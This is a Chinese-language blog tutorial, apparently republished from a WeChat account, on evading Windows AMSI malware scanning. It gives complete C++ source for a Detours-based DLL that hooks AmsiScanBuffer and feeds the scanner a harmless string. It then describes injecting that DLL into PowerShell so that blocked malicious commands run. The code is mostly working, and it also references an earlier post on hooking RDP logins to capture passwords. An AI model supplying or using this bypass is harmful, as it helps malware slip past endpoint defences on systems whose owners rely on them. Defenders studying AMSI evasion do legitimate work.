绕过AMSI进行逃避审计

  • A+
所属分类:代码审计

在之前的文章,hook rdp对外连接的账号密码 中有提到利用Detours进行hook得到rdp的账号密码,今天正好看到绕过AMSI的文章,那我们今天继续利用这个库来达到绕过AMSI的目的。

1、AMSI是什么

根据官方文档 介绍,其叫反恶意文件扫描接口。
然后AMSI的表现是什么呢,就是当你运行一个触发他的规则文件/命令时,就会出现如下的拦截信息:

绕过AMSI进行逃避审计


因此我们的目的就是绕过AMSI,达到执行我们想要的文件/命令。

2、分析AMSI

通过分析AMSI,其检测机制大致为加载amsi.dll进行恶意文件扫描等操作:

绕过AMSI进行逃避审计


根据网上的分析,我们只要能hook AMSI,让其检测到的值以为是安全的,那amsi.dll返回的值我们就是可控的,最后系统就会认为该文件是无害的。

3、hook AMSI

在之前的文章,hook rdp对外连接的账号密码 已经提到了一些Detours的用法,这里再说下其简单的用法。

首先需要知道我们要hook的函数的语法,这里我们要hook的函数为AmsiScanBuffer,其语法介绍在这里:
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

然后我们根据这个函数语法构造一个OriginalAmsiScanBuffer函数,OriginalAmsiScanBuffer函数指针保持真正的AmsiScanBuffer地址。然后再定义一个HookedAmsiScanBuffer函数,该函数中可以进行相应的hook操作,hook结束后,把对应的值回调回第一个OriginalAmsiScanBuffer函数来执行AmsiScanBuffer,最后DllMain的内容在 hook rdp对外连接的账号密码 有提到。

详细代码如下

#include <Windows.h>

#include <detours.h>

#include <amsi.h>

#include <iostream>

#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString"

static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result) = AmsiScanBuffer;

HRESULT HookedAmsiScanBuffer(HAMSICONTEXT amsiContext,
    PVOID        buffer,
    ULONG        length,
    LPCWSTR      contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* result)

{

    MessageBoxW(NULL, 'hooked', L"amsiContext", 0);
    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);

}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  dwReason,
    LPVOID lpReserved
)
{
    if (DetourIsHelperProcess()) {
        return TRUE;
    }

    if (dwReason == DLL_PROCESS_ATTACH) {
        DetourRestoreAfterWith();
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
        DetourTransactionCommit();

    }
    else if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
        DetourTransactionCommit();
        FreeConsole();
    }
    return TRUE;
}

4、测试结果

我们把第三节里面的代码编译成dll,然后dll注入到相关进程,这里以powershell为例。
在未注入前,恶意命令被AMSI拦截,注入后,成功hook绕过:

绕过AMSI进行逃避审计


绕过AMSI进行逃避审计



本文始发于微信公众号(中国白客联盟):绕过AMSI进行逃避审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: